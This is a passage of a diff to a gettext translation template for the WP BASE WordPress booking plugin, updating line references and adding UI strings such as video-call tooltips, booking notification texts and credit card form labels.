 "Optional id attribute for the table. If you do not provide an id, plugin "
 "will automatically assign an id in \"app_datatable_n\" form where n is the "
@@ -17659,7 +18528,7 @@
 "by WP BASE) "
 msgstr ""
 
-#: includes/constant-data.php:1618
+#: includes/constant-data.php:1638
 msgid ""
 "WordPress user capability. Users who have this capability can view and use "
 "other users' bookings. Multiple capabilities separated by commas are "
@@ -17667,7 +18536,7 @@
 "\"manage_options\""
 msgstr ""
 
-#: includes/constant-data.php:1619
+#: includes/constant-data.php:1639
 msgid ""
 "Whether to override cancel and edit capability of admin for other users' "
 "bookings. Possible values: 0 (Do not allow cancel and edit), auto: Follow "
@@ -17675,7 +18544,7 @@
 "of global settings). Default: \"auto\" (Global settings will be used)"
 msgstr ""
 
-#: includes/constant-data.php:1623
+#: includes/constant-data.php:1643
 msgid ""
 "Inserts a dropdown menu of selectable themes, so that you, as admin, can "
 "change and see different theme results on the front end. Note: This "
@@ -17683,11 +18552,11 @@
 "session and user. It does not change the setting for selected theme."
 msgstr ""
 
-#: includes/constant-data.php:1625
+#: includes/constant-data.php:1645
 msgid "Text above the menu. Enter 0 for no title. Default: \"jQuery UI Theme\""
 msgstr ""
 
-#: includes/constant-data.php:1626
+#: includes/constant-data.php:1646
 msgid ""
 "WordPress user capability. Users who have this capability can view the theme "
 "selection pulldown menu. Multiple capabilities separated by commas are "
@@ -17695,233 +18564,233 @@
 "\"manage_options\""
 msgstr ""
 
-#: includes/core.php:2332
+#: includes/core.php:2336
 msgid "Click to access to the related booking"
 msgstr ""
 
-#: includes/core.php:2514
+#: includes/core.php:2518
 #, php-format
 msgid "User %1$s changed %2$d setting:"
 msgid_plural "User %1$s changed %2$d settings:"
 msgstr[0] ""
 msgstr[1] ""
 
-#: includes/core.php:2827
+#: includes/core.php:2831
 #, php-format
 msgid "Test %s"
 msgstr ""
 
-#: includes/core.php:2937
+#: includes/core.php:2940
 #, php-format
 msgid "No valid email is defined for booking #%s"
 msgstr ""
 
-#: includes/core.php:2986
+#: includes/core.php:2989
 #, php-format
 msgid "%1$s message resent to %2$s for booking #%3$s"
 msgstr ""
 
-#: includes/core.php:2996
+#: includes/core.php:2999
 #, php-format
 msgid "%1$s message sent to %2$s for booking #%3$s"
 msgstr ""
 
-#: includes/core.php:3028
+#: includes/core.php:3031
 #, php-format
 msgid "Booking edited (#%d)"
 msgstr ""
 
-#: includes/core.php:3031
+#: includes/core.php:3034
 #, php-format
 msgid "A booking has been edited on %s."
 msgstr ""
 
-#: includes/core.php:3033
+#: includes/core.php:3036
 #, php-format
 msgid ""
 "The edited booking has an ID %1$s and you can access it by clicking this "
 "link: %2$s"
 msgstr ""
 
-#: includes/core.php:3035
+#: includes/core.php:3038
 msgid ""
 "Below please find a copy of the message that has been sent to your client "
 "after editing:"
 msgstr ""
 
-#: includes/core.php:3038
+#: includes/core.php:3041
 #, php-format
 msgid "Booking completed (#%d)"
 msgstr ""
 
-#: includes/core.php:3041
+#: includes/core.php:3044
 #, php-format
 msgid "A booking has been completed on %s."
 msgstr ""
 
-#: includes/core.php:3043
+#: includes/core.php:3046
 #, php-format
 msgid ""
 "The completed booking has an ID %1$s and you can access it by clicking this "
 "link: %2$s"
 msgstr ""
 
-#: includes/core.php:3045
+#: includes/core.php:3048
 msgid ""
 "Below please find a copy of the message that has been sent to your client "
 "after completion:"
 msgstr ""
 
-#: includes/core.php:3048
+#: includes/core.php:3051
 #, php-format
 msgid "Booking cancelled (#%d)"
 msgstr ""
 
-#: includes/core.php:3051
+#: includes/core.php:3054
 #, php-format
 msgid "A booking has been cancelled on %s."
 msgstr ""
 
-#: includes/core.php:3053
+#: includes/core.php:3056
 #, php-format
 msgid ""
 "The cancelled booking has an ID %s and you can access it by clicking this "
 "link: %s"
 msgstr ""
 
-#: includes/core.php:3055
+#: includes/core.php:3058
 msgid ""
 "Below please find a copy of the message that has been sent to your client "
 "after cancellation:"
 msgstr ""
 
-#: includes/core.php:3058
+#: includes/core.php:3061
 #, php-format
 msgid "New pending booking (#%d)"
 msgstr ""
 
-#: includes/core.php:3061
+#: includes/core.php:3064
 #, php-format
 msgid "A new pending booking has been made on %s."
 msgstr ""
 
-#: includes/core.php:3063 includes/core.php:3073
+#: includes/core.php:3066 includes/core.php:3076
 #, php-format
 msgid ""
 "The new booking has an ID %1$s and you can access it by clicking this link: "
 "%2$s"
 msgstr ""
 
-#: includes/core.php:3065 includes/core.php:3075
+#: includes/core.php:3068 includes/core.php:3078
 msgid ""
 "Below please find a copy of the message that has been sent to your client as "
 "confirmation:"
 msgstr ""
 
-#: includes/core.php:3068
+#: includes/core.php:3071
 #, php-format
 msgid "New confirmed booking (#%d)"
 msgstr ""
 
-#: includes/core.php:3071
+#: includes/core.php:3074
 #, php-format
 msgid "A confirmed booking has been made on %s."
 msgstr ""
 
-#: includes/core.php:3096
+#: includes/core.php:3099
 #, php-format
 msgid "Message sending to %s for booking #%s has failed."
 msgstr ""
 
-#: includes/core.php:3158
+#: includes/core.php:3161
 #, php-format
 msgid "A booking has been cancelled (#%d)"
 msgstr ""
 
-#: includes/core.php:3159
+#: includes/core.php:3162
 #, php-format
 msgid "Booking with ID %s has been cancelled by the client."
 msgstr ""
 
-#: includes/core.php:3161
+#: includes/core.php:3164
 #, php-format
 msgid "You can access it by clicking this link: %s"
 msgstr ""
 
-#: includes/core.php:3163
+#: includes/core.php:3166
 #, php-format
 msgid "A booking requires your approval (#%d)"
 msgstr ""
 
-#: includes/core.php:3164
+#: includes/core.php:3167
 #, php-format
 msgid "New booking has an ID %s."
 msgstr ""
 
-#: includes/core.php:3166
+#: includes/core.php:3169
 #, php-format
 msgid "You can approve or edit it by clicking this link: %s"
 msgstr ""
 
-#: includes/core.php:3182 includes/core.php:3218
+#: includes/core.php:3185 includes/core.php:3221
 #, php-format
 msgid "Notification message sent to %1$s for booking #%2$s"
 msgstr ""
 
-#: includes/core.php:3185 includes/core.php:3223
+#: includes/core.php:3188 includes/core.php:3226
 #, php-format
 msgid "Notification message sending to %1$s for booking #%2$s has failed"
 msgstr ""
 
-#: includes/core.php:3196
+#: includes/core.php:3199
 #, php-format
 msgid "Cancelled booking has an ID of %1$d and it was scheduled for %2$s."
 msgstr ""
 
-#: includes/core.php:3202
+#: includes/core.php:3205
 #, php-format
 msgid ""
 "New booking has an ID %s for %s and you can confirm it using your profile "
 "page."
 msgstr ""
 
-#: includes/core.php:3252
+#: includes/core.php:3255
 msgid "(Link removed in admin/provider copy...)"
 msgstr ""
 
-#: includes/core.php:3256
+#: includes/core.php:3259
 msgid "(PayPal button removed in admin/provider copy...)"
 msgstr ""
 
-#: includes/core.php:3431
+#: includes/core.php:3434
 msgid "Test Client"
 msgstr ""
 
-#: includes/core.php:3432
+#: includes/core.php:3435
 msgid "Test Client First Name"
 msgstr ""
 
-#: includes/core.php:3433
+#: includes/core.php:3436
 msgid "Test Client Last Name"
 msgstr ""
 
-#: includes/core.php:3437
+#: includes/core.php:3440
 msgid "Test Address"
 msgstr ""
 
-#: includes/core.php:3438
+#: includes/core.php:3441
 msgid "Test City"
 msgstr ""
 
-#: includes/core.php:3439
+#: includes/core.php:3442
 msgid "Test Zip"
 msgstr ""
 
-#: includes/core.php:3440
+#: includes/core.php:3443
 msgid "This is a test booking created by WP BASE"
 msgstr ""
 
-#: includes/core.php:3441
+#: includes/core.php:3444
 msgid "This is admin note"
 msgstr ""
 
@@ -18020,859 +18889,892 @@
 msgstr ""
 
 #: includes/custom-texts.php:147
-msgid "Placeholder for Address field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:148
 msgid "Button text to add a product to shopping cart of WooCommerce or EDD"
 msgstr ""
 
-#: includes/custom-texts.php:149
+#: includes/custom-texts.php:148
 #, php-format
 msgid ""
 "Message displayed when an item is added to WooCommerce or EDD shopping cart. "
 "%s will be replaced with item name."
 msgstr ""
 
-#: includes/custom-texts.php:150
+#: includes/custom-texts.php:149
 msgid "Label for admin user"
 msgstr ""
 
-#: includes/custom-texts.php:151
+#: includes/custom-texts.php:150
 msgid "Column header of Agora for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:152 includes/custom-texts.php:397
+#: includes/custom-texts.php:151 includes/custom-texts.php:402
 msgid ""
 "Javascript message displayed to the host when he/she is trying to start a "
 "meeting which has been already started"
 msgstr ""
 
-#: includes/custom-texts.php:153 includes/custom-texts.php:398
+#: includes/custom-texts.php:152 includes/custom-texts.php:403
 msgid ""
 "Javascript message displayed to the participant when he/she is called to the "
 "meeting by the host."
 msgstr ""
 
-#: includes/custom-texts.php:154 includes/custom-texts.php:399
+#: includes/custom-texts.php:153
+msgid ""
+"Message displayed above video streaming area during connection to Agora "
+"servers"
+msgstr ""
+
+#: includes/custom-texts.php:154
+msgid "Text for Join button"
+msgstr ""
+
+#: includes/custom-texts.php:155
+msgid "Tooltip text for Leave Call icon"
+msgstr ""
+
+#: includes/custom-texts.php:156 includes/custom-texts.php:404
 msgid "Default text displayed to the meeting host at the Meeting Room."
 msgstr ""
 
-#: includes/custom-texts.php:155 includes/custom-texts.php:400
+#: includes/custom-texts.php:157 includes/custom-texts.php:405
 msgid "Default text about general meeting rules."
 msgstr ""
 
-#: includes/custom-texts.php:156 includes/custom-texts.php:401
+#: includes/custom-texts.php:158 includes/custom-texts.php:406
 msgid ""
 "Text displayed to participant when meeting has started. Keep MEETING_LINK "
 "placeholder which will be replaced by the link to the Meeting Room page."
 msgstr ""
 
-#: includes/custom-texts.php:157 includes/custom-texts.php:402
+#: includes/custom-texts.php:159
+msgid ""
+"Javascript error message displayed when no camera and/or mic found or not "
+"permitted to use"
+msgstr ""
+
+#: includes/custom-texts.php:160
+msgid ""
+"Javascript error message displayed when no other camera found to switch to"
+msgstr ""
+
+#: includes/custom-texts.php:161 includes/custom-texts.php:407
 msgid "Text displayed when user has no future or current meetings."
 msgstr ""
 
-#: includes/custom-texts.php:158 includes/custom-texts.php:403
+#: includes/custom-texts.php:162 includes/custom-texts.php:408
 msgid "Label for Start Meeting link"
 msgstr ""
 
-#: includes/custom-texts.php:159 includes/custom-texts.php:404
+#: includes/custom-texts.php:163
+msgid "Tooltip text for Switch Camera icon"
+msgstr ""
+
+#: includes/custom-texts.php:164
+msgid "Tooltip text for Toggle Microphone icon"
+msgstr ""
+
+#: includes/custom-texts.php:165
+msgid "Tooltip text for Toggle Camera icon"
+msgstr ""
+
+#: includes/custom-texts.php:166
+msgid "Javascript error message diisplayed when camera switch action failed"
+msgstr ""
+
+#: includes/custom-texts.php:167 includes/custom-texts.php:409
 msgid "Default text for client about how meeting will start."
 msgstr ""
 
-#: includes/custom-texts.php:160 includes/custom-texts.php:405
+#: includes/custom-texts.php:168 includes/custom-texts.php:410
 msgid "Default text for host about how meeting will start."
 msgstr ""
 
-#: includes/custom-texts.php:161
+#: includes/custom-texts.php:169
 msgid "Selection in provider dropdown when no particular provider is selected"
 msgstr ""
 
-#: includes/custom-texts.php:162
+#: includes/custom-texts.php:170
 msgid "Title for All Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:163
+#: includes/custom-texts.php:171
 msgid "Label for bookings lasting more than one day in Schedules"
 msgstr ""
 
-#: includes/custom-texts.php:164
+#: includes/custom-texts.php:172
 msgid "Label for All Services in service selections"
 msgstr ""
 
-#: includes/custom-texts.php:165
+#: includes/custom-texts.php:173
 msgid ""
 "Javascript message displayed when selected time slot is no more available, "
 "e.g. because of another simultaneous booking"
 msgstr ""
 
-#: includes/custom-texts.php:166
+#: includes/custom-texts.php:174
 msgid "Label for amount"
 msgstr ""
 
-#: includes/custom-texts.php:167
+#: includes/custom-texts.php:175
 #, php-format
 msgid ""
 "Placeholder for participant address field. %d will be replaced by the order "
 "in the list."
 msgstr ""
 
-#: includes/custom-texts.php:168
+#: includes/custom-texts.php:176
 msgid "Javascript message displayed after a successful editing"
 msgstr ""
 
-#: includes/custom-texts.php:169
+#: includes/custom-texts.php:177
 msgid ""
 "Javascript message displayed after a successful booking and no confirmation/"
 "pending dialog text exists"
 msgstr ""
 
-#: includes/custom-texts.php:170
+#: includes/custom-texts.php:178
 msgid "Column header for appointment ID for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:171
+#: includes/custom-texts.php:179
 msgid "Text for Apply button"
 msgstr ""
 
-#: includes/custom-texts.php:172
+#: includes/custom-texts.php:180
 msgid "Text for Approve button"
 msgstr ""
 
-#: includes/custom-texts.php:173
+#: includes/custom-texts.php:181
 msgid "Javascript text asking confirm approve"
 msgstr ""
 
-#: includes/custom-texts.php:174
+#: includes/custom-texts.php:182
 msgid "Text for Approved status"
 msgstr ""
 
-#: includes/custom-texts.php:175
+#: includes/custom-texts.php:183
 msgid "Text for option Auto"
 msgstr ""
 
-#: includes/custom-texts.php:176
+#: includes/custom-texts.php:184
 msgid ""
 "Javascript message displayed after user is auto assigned as a Service "
 "Provider"
 msgstr ""
 
-#: includes/custom-texts.php:177
+#: includes/custom-texts.php:185
 msgid ""
 "Message displayed when login is required to be assigned as a service provider"
 msgstr ""
 
-#: includes/custom-texts.php:178
+#: includes/custom-texts.php:186
 msgid ""
 "Text displayed to client for service provider when no particular provider is "
 "selected"
 msgstr ""
 
-#: includes/custom-texts.php:179
+#: includes/custom-texts.php:187
 msgid "Legend label for free slot"
 msgstr ""
 
-#: includes/custom-texts.php:180
+#: includes/custom-texts.php:188
 msgid "Label to confirm if chnages will be applied to child bookings"
 msgstr ""
 
-#: includes/custom-texts.php:181
+#: includes/custom-texts.php:189
 msgid "Synonym for profile photo"
 msgstr ""
 
-#: includes/custom-texts.php:182
+#: includes/custom-texts.php:190
 msgid "Label for Back button"
 msgstr ""
 
-#: includes/custom-texts.php:183
+#: includes/custom-texts.php:191
 msgid "Column header of Balance for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:184
+#: includes/custom-texts.php:192
 msgid "Column header for Bio Page"
 msgstr ""
 
-#: includes/custom-texts.php:185
+#: includes/custom-texts.php:193
 msgid "Text for bookings recurring every other week"
 msgstr ""
 
-#: includes/custom-texts.php:186
+#: includes/custom-texts.php:194
 msgid ""
 "Javascript message displayed when client applies with a blacklisted email "
 "address"
 msgstr ""
 
-#: includes/custom-texts.php:187
+#: includes/custom-texts.php:195
 msgid "Spinner panel message while booking is being saved"
 msgstr ""
 
-#: includes/custom-texts.php:188
+#: includes/custom-texts.php:196
 msgid "Javascript text informing booking approved"
 msgstr ""
 
-#: includes/custom-texts.php:189
+#: includes/custom-texts.php:197
 msgid "Booking label used in carts"
 msgstr ""
 
-#: includes/custom-texts.php:190
+#: includes/custom-texts.php:198
 msgid ""
 "Book Now shortcode button text displayed when booking is not possible, i.e. "
 "fully booked or allowed booking time has passed"
 msgstr ""
 
-#: includes/custom-texts.php:191
+#: includes/custom-texts.php:199
 msgid ""
 "Book Now shortcode button text displayed when booking is possible. LOCATION, "
 "SERVICE, WORKER, START will be replaced by their real values"
 msgstr ""
 
-#: includes/custom-texts.php:192
+#: includes/custom-texts.php:200
 msgid ""
 "Book in Table View button text. LOCATION, SERVICE, WORKER, START will be "
 "replaced by their real values"
 msgstr ""
 
-#: includes/custom-texts.php:193
+#: includes/custom-texts.php:201
 msgid "Confirmation form legend text"
 msgstr ""
 
-#: includes/custom-texts.php:194
+#: includes/custom-texts.php:202
 msgid "Account page 3 Months Schedule tab title"
 msgstr ""
 
-#: includes/custom-texts.php:195
+#: includes/custom-texts.php:203
 msgid "Account page 4 Weeks Schedule tab title"
 msgstr ""
 
-#: includes/custom-texts.php:196
+#: includes/custom-texts.php:204
 msgid "Account or BuddyPress user profile page Seasonal Schedules tab title"
 msgstr ""
 
-#: includes/custom-texts.php:197
+#: includes/custom-texts.php:205
 msgid ""
 "Account or BuddyPress or Multi Vendor user profile page bookings tab title "
 "for client"
 msgstr ""
 
-#: includes/custom-texts.php:198
+#: includes/custom-texts.php:206
 msgid "BuddyPress user profile page bookings tab title for provider as client"
 msgstr ""
 
-#: includes/custom-texts.php:199
+#: includes/custom-texts.php:207
 msgid ""
 "BuddyPress user profile page bookings tab title for provider as provider"
 msgstr ""
 
-#: includes/custom-texts.php:200
+#: includes/custom-texts.php:208
 msgid "BuddyPress or Multi Vendor user profile page Book Me tab title"
 msgstr ""
 
-#: includes/custom-texts.php:201
+#: includes/custom-texts.php:209
 msgid "BuddyPress group page Book Us tab title"
 msgstr ""
 
-#: includes/custom-texts.php:202
+#: includes/custom-texts.php:210
 msgid "Account or BuddyPress user profile page Commissions tab title"
 msgstr ""
 
-#: includes/custom-texts.php:203
+#: includes/custom-texts.php:211
 msgid "Account or BuddyPress user profile page Credits tab title"
 msgstr ""
 
-#: includes/custom-texts.php:204
+#: includes/custom-texts.php:212
 msgid "Account or BuddyPress user profile page Dashboard tab title"
 msgstr ""
 
-#: includes/custom-texts.php:205
+#: includes/custom-texts.php:213
 msgid "Account or BuddyPress user profile page Google Calendar tab title"
 msgstr ""
 
-#: includes/custom-texts.php:206
+#: includes/custom-texts.php:214
 msgid "BuddyPress Social Group label"
 msgstr ""
 
-#: includes/custom-texts.php:207
+#: includes/custom-texts.php:215
 msgid "Account or BuddyPress user profile page Holidays tab title"
 msgstr ""
 
-#: includes/custom-texts.php:208
+#: includes/custom-texts.php:216
 msgid "Account or BuddyPress user page Bookings longer than 24 hours tab title"
 msgstr ""
 
-#: includes/custom-texts.php:209
+#: includes/custom-texts.php:217
 msgid "Account or BuddyPress user profile/group page Manage Bookings tab title"
 msgstr ""
 
-#: includes/custom-texts.php:210
+#: includes/custom-texts.php:218
 msgid "Account or BuddyPress user page Monthly Schedule tab title"
 msgstr ""
 
-#: includes/custom-texts.php:211
+#: includes/custom-texts.php:219
 msgid ""
 "BuddyPress notification when the client cancels a booking. You can use the "
 "booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:212
+#: includes/custom-texts.php:220
 msgid ""
 "BuddyPress notification when admin cancels a booking. You can use the "
 "booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:213
+#: includes/custom-texts.php:221
 msgid ""
 "BuddyPress notification when provider cancels a booking. You can use the "
 "booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:214
+#: includes/custom-texts.php:222
 msgid ""
 "BuddyPress notification when the client changes start time of a booking. You "
 "can use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:215
+#: includes/custom-texts.php:223
 msgid ""
 "BuddyPress notification when admin changes start time of a booking. You can "
 "use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:216
+#: includes/custom-texts.php:224
 msgid ""
 "BuddyPress notification when provider changes start time of a booking. You "
 "can use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:217
+#: includes/custom-texts.php:225
 msgid ""
 "BuddyPress notification when status of booking has been changed to "
 "\"completed\". You can use the booking placeholders which are listed on "
 "Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:218
+#: includes/custom-texts.php:226
 msgid ""
 "BuddyPress notification when status of booking has been changed to "
 "\"confirmed\". You can use the booking placeholders which are listed on "
 "Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:219
+#: includes/custom-texts.php:227
 msgid ""
 "BuddyPress notification when status of booking has been changed to \"paid\". "
 "You can use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:220
+#: includes/custom-texts.php:228
 msgid ""
 "BuddyPress notification when a booking has started. You can use the booking "
 "placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:221
+#: includes/custom-texts.php:229
 msgid ""
 "BuddyPress notification when a new booking has been made by client. You can "
 "use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:222
+#: includes/custom-texts.php:230
 msgid ""
 "BuddyPress notification when a new booking has been made by admin. You can "
 "use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:223
+#: includes/custom-texts.php:231
 msgid ""
 "BuddyPress notification when a new booking has been made by provider. You "
 "can use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:224
+#: includes/custom-texts.php:232
 msgid ""
 "BuddyPress notification when service provider of a booking has been changed. "
 "You can use the booking placeholders which are listed on Emails page."
 msgstr ""
 
-#: includes/custom-texts.php:225
+#: includes/custom-texts.php:233
 msgid "Account or BuddyPress user profile page Packages tab title"
 msgstr ""
 
-#: includes/custom-texts.php:226
+#: includes/custom-texts.php:234
 msgid "Account or BuddyPress user profile page Payment History tab title"
 msgstr ""
 
-#: includes/custom-texts.php:227
+#: includes/custom-texts.php:235
 msgid "Account or BuddyPress user profile page Schedules tab title"
 msgstr ""
 
-#: includes/custom-texts.php:228
+#: includes/custom-texts.php:236
 msgid "Account or BuddyPress user profile page Services tab title"
 msgstr ""
 
-#: includes/custom-texts.php:229
+#: includes/custom-texts.php:237
 msgid "Account or BuddyPress user profile page Settings tab title"
 msgstr ""
 
-#: includes/custom-texts.php:230
+#: includes/custom-texts.php:238
 msgid "BuddyPress user profile page main tab title"
 msgstr ""
 
-#: includes/custom-texts.php:231
+#: includes/custom-texts.php:239
 msgid ""
 "BuddyPress WP BASE checkbox title to select whether to add a Book Me tab"
 msgstr ""
 
-#: includes/custom-texts.php:232
+#: includes/custom-texts.php:240
 msgid "Account or BuddyPress user page Weekly Schedule tab title"
 msgstr ""
 
-#: includes/custom-texts.php:233
+#: includes/custom-texts.php:241
 msgid "Account or BuddyPress user page Working Hours tab title"
 msgstr ""
 
-#: includes/custom-texts.php:234
+#: includes/custom-texts.php:242
 msgid "Legend label for busy slot"
 msgstr ""
 
-#: includes/custom-texts.php:235
+#: includes/custom-texts.php:243
 msgid ""
 "Spinner panel message while price is being recalculated after a form field "
 "change"
 msgstr ""
 
-#: includes/custom-texts.php:236
+#: includes/custom-texts.php:244
 msgid "Column header of Cancel for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:237
+#: includes/custom-texts.php:245
 msgid ""
 "Javascript text that is displayed after an appointment has been cancelled"
 msgstr ""
 
-#: includes/custom-texts.php:238
+#: includes/custom-texts.php:246
 msgid "Javascript text that is displayed before cancelling an appointment"
 msgstr ""
 
-#: includes/custom-texts.php:239
+#: includes/custom-texts.php:247
 msgid "Cancel button text in List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:240
+#: includes/custom-texts.php:248
 msgid ""
 "Button text on confirmation form to clear cart contents and refresh page"
 msgstr ""
 
-#: includes/custom-texts.php:241
+#: includes/custom-texts.php:249
 msgid "Text to quit cancellation of current process"
 msgstr ""
 
-#: includes/custom-texts.php:242
+#: includes/custom-texts.php:250
 msgid ""
 "Text displayed to confirm cancellation of current process (checkout, edit, "
 "etc)"
 msgstr ""
 
-#: includes/custom-texts.php:243
+#: includes/custom-texts.php:251
 msgid "Text to confirm cancellation of current process"
 msgstr ""
 
-#: includes/custom-texts.php:244
+#: includes/custom-texts.php:252
 msgid ""
 "Javascript message displayed when client attempts to cancel an appointment, "
 "but cancellation is turned off"
 msgstr ""
 
-#: includes/custom-texts.php:245
+#: includes/custom-texts.php:253
 msgid "Column header of Capacity for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:246
+#: includes/custom-texts.php:254
 msgid "Text for status in Cart"
 msgstr ""
 
-#: includes/custom-texts.php:247
+#: includes/custom-texts.php:255
 msgid "Column header of Category for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:248
+#: includes/custom-texts.php:256
 msgid "Address Line 1 title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:249
+#: includes/custom-texts.php:257
 msgid "Address Line 2 title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:250
+#: includes/custom-texts.php:258
 msgid "City title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:251
+#: includes/custom-texts.php:259
 msgid "Country title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:252
+#: includes/custom-texts.php:260
 msgid "Security Code title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:253
+#: includes/custom-texts.php:261
 msgid "Error message when credit card is declined by payment gateway."
 msgstr ""
 
-#: includes/custom-texts.php:254
+#: includes/custom-texts.php:262
 msgid "Email title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:255
+#: includes/custom-texts.php:263
 msgid ""
 "Error message coming from payment gateway other than declined. If you want "
 "to show details, keep ERROR_DETAIL placeholder which will be replaced by "
 "details of error."
 msgstr ""
 
-#: includes/custom-texts.php:256
+#: includes/custom-texts.php:264
 msgid "Expiration Date title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:257
+#: includes/custom-texts.php:265
 msgid "Title above credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:258
+#: includes/custom-texts.php:266
 msgid "Full Name title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:259
+#: includes/custom-texts.php:267
 msgid "Credit Card Number title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:260
+#: includes/custom-texts.php:268
 msgid "Phone title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:261
+#: includes/custom-texts.php:269
 msgid "State/Province/Region title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:262
+#: includes/custom-texts.php:270
 msgid "Postcode title on credit card form"
 msgstr ""
 
-#: includes/custom-texts.php:263
+#: includes/custom-texts.php:271
 msgid "Label for Check All"
 msgstr ""
 
-#: includes/custom-texts.php:264
+#: includes/custom-texts.php:272
 msgid "Text for Checkin in Schedules"
 msgstr ""
 
-#: includes/custom-texts.php:265
+#: includes/custom-texts.php:273
 msgid "Text for Checkout in Schedules"
 msgstr ""
 
-#: includes/custom-texts.php:266
+#: includes/custom-texts.php:274
 msgid "Spinner panel message while processing checkout"
 msgstr ""
 
-#: includes/custom-texts.php:267
+#: includes/custom-texts.php:275
 msgid "Button text for checkout (finalise booking)"
 msgstr ""
 
-#: includes/custom-texts.php:268
+#: includes/custom-texts.php:276
 msgid "Tooltip text for checkout button"
 msgstr ""
 
-#: includes/custom-texts.php:269
+#: includes/custom-texts.php:277
 msgid "Label to select an image for service or avatar"
 msgstr ""
 
-#: includes/custom-texts.php:270
+#: includes/custom-texts.php:278
 msgid "Title for City field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:271
-msgid "Placeholder for City field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:272
+#: includes/custom-texts.php:279
 msgid "Clear signature button text"
 msgstr ""
 
-#: includes/custom-texts.php:273
+#: includes/custom-texts.php:280
 msgid "Label for Clear All"
 msgstr ""
 
-#: includes/custom-texts.php:274
+#: includes/custom-texts.php:281
 msgid "Hint text to book as Waiting List"
 msgstr ""
 
-#: includes/custom-texts.php:275
+#: includes/custom-texts.php:282
 msgid "Hint text to add a booking in calendar"
 msgstr ""
 
-#: includes/custom-texts.php:276
+#: includes/custom-texts.php:283
 msgid "Hint text to remove an appointment from confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:277
+#: includes/custom-texts.php:284
 msgid "Hint text to add select a date in monthly calendar"
 msgstr ""
 
-#: includes/custom-texts.php:278
+#: includes/custom-texts.php:285
 msgid "Column header of Client for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:279
+#: includes/custom-texts.php:286
 msgid "Tab Header of Clients for Store management"
 msgstr ""
 
-#: includes/custom-texts.php:280
+#: includes/custom-texts.php:287
 msgid "Label for Client Information line in Flex Steps"
 msgstr ""
 
-#: includes/custom-texts.php:281
+#: includes/custom-texts.php:288
 msgid "Label for Client IP at booking instant"
 msgstr ""
 
-#: includes/custom-texts.php:282
+#: includes/custom-texts.php:289
 msgid "Close button text"
 msgstr ""
 
-#: includes/custom-texts.php:283
+#: includes/custom-texts.php:290
 msgid "Label for Background Color"
 msgstr ""
 
-#: includes/custom-texts.php:284
+#: includes/custom-texts.php:291
 msgid "Label for Company Name in forms"
 msgstr ""
 
-#: includes/custom-texts.php:285
+#: includes/custom-texts.php:292
 msgid "Text for status completed"
 msgstr ""
 
-#: includes/custom-texts.php:286
+#: includes/custom-texts.php:293
 msgid "Column header of Confirm for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:287
+#: includes/custom-texts.php:294
 msgid "Confirm button text in List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:288
+#: includes/custom-texts.php:295
 msgid "Javascript message displayed before cancelling a booking"
 msgstr ""
 
-#: includes/custom-texts.php:289
+#: includes/custom-texts.php:296
 msgid "Javascript message displayed before confirming a booking"
 msgstr ""
 
-#: includes/custom-texts.php:290
+#: includes/custom-texts.php:297
 msgid "Javascript message displayed before deleting a booking"
 msgstr ""
 
-#: includes/custom-texts.php:291
+#: includes/custom-texts.php:298
 msgid ""
 "Javascript message displayed when client attempts to confirm an appointment, "
 "but confirmation is turned off"
 msgstr ""
 
-#: includes/custom-texts.php:292
+#: includes/custom-texts.php:299
 msgid "Javascript message displayed before ending a video call"
 msgstr ""
 
-#: includes/custom-texts.php:293
+#: includes/custom-texts.php:300
 msgid "Title for confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:294
+#: includes/custom-texts.php:301
 msgid "Text for status confirmed"
 msgstr ""
 
-#: includes/custom-texts.php:295
+#: includes/custom-texts.php:302
 msgid "Javascript message displayed after a booking has been confirmed"
 msgstr ""
 
-#: includes/custom-texts.php:296
+#: includes/custom-texts.php:303
 msgid "Title of countdown on confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:297
+#: includes/custom-texts.php:304
 msgid "Javascript text that is displayed when ajax request fails"
 msgstr ""
 
-#: includes/custom-texts.php:298
+#: includes/custom-texts.php:305
 msgid ""
 "Message displayed to user to contact admin, e.g. when their account suspended"
 msgstr ""
 
-#: includes/custom-texts.php:299
